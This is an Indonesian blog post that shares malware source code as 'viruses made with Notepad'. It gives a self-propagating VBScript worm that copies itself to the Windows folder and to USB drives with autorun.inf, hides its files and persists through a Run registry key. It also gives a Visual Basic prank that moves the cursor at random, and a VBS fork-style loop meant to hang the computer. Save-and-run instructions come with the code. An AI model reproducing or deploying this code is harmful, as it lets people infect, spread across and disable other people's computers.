SourceCode Jahat

virus dengan notepad

virus dengan notepad  Skarang anE share lg source code bwt virus. ..
tp yg ini pakek notepad

‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe zein_munajat.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\zein_munajat.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\zein_munajat.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\zein_munajat.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\zein_munajat.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\zein_munajat.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\zein_munajat.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\zein_munajat.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _
“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _
“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _
“iko permainan yang paten ma dunsanak” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _
” aaa kini saaiknyo ma dunsanak”

loop

setelah loe dah copyin di notepad, loe save dengan nama

zein_munajat.exe.vbs

HATI>>HATI yah Virus ini BERBAHAYA


cursor. ..

Cara bwt virus mouse ini cma dibutuhkan 1 form dan 1 timer aja. .. kalian bisa liat source codenya dibawah ini

v

v

v

Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long

Private Sub Label2_Click(Index As Integer)


End Sub


Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer)

On Error Resume Next

If KeyAscii = vbKeyReturn Then

End

End If

End Sub


Private Sub Timer1_Timer()

On Error Resume Next

Dim xx

Dim yy

xx = Rnd * 1024

yy = Rnd * 1024

SetCursorPos xx, yy

Text1(0).SetFocus

End Sub


Letakkan sorce code diatas didalam timer cekidot!!!

jangan salahkan ane klo terjadi apa-apa ya. ..


virus dengan notepad II


satu lg virus yg ane bwt dgn notepad. ..

cekidott!!!


option explicit


dim wshshell

set wshshell=wscript.createobject("wscript.shell")


dim x

for x = 1 to 100000000

wshshell.run "tourstart.exe"

next


1. Save notepad dengan nama virus.vbs

2. Jalankan file tersebut dan lihat, komputer anda akan dipenuhi oleh 100000000

tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total

sebelum anda mendelete semuanya.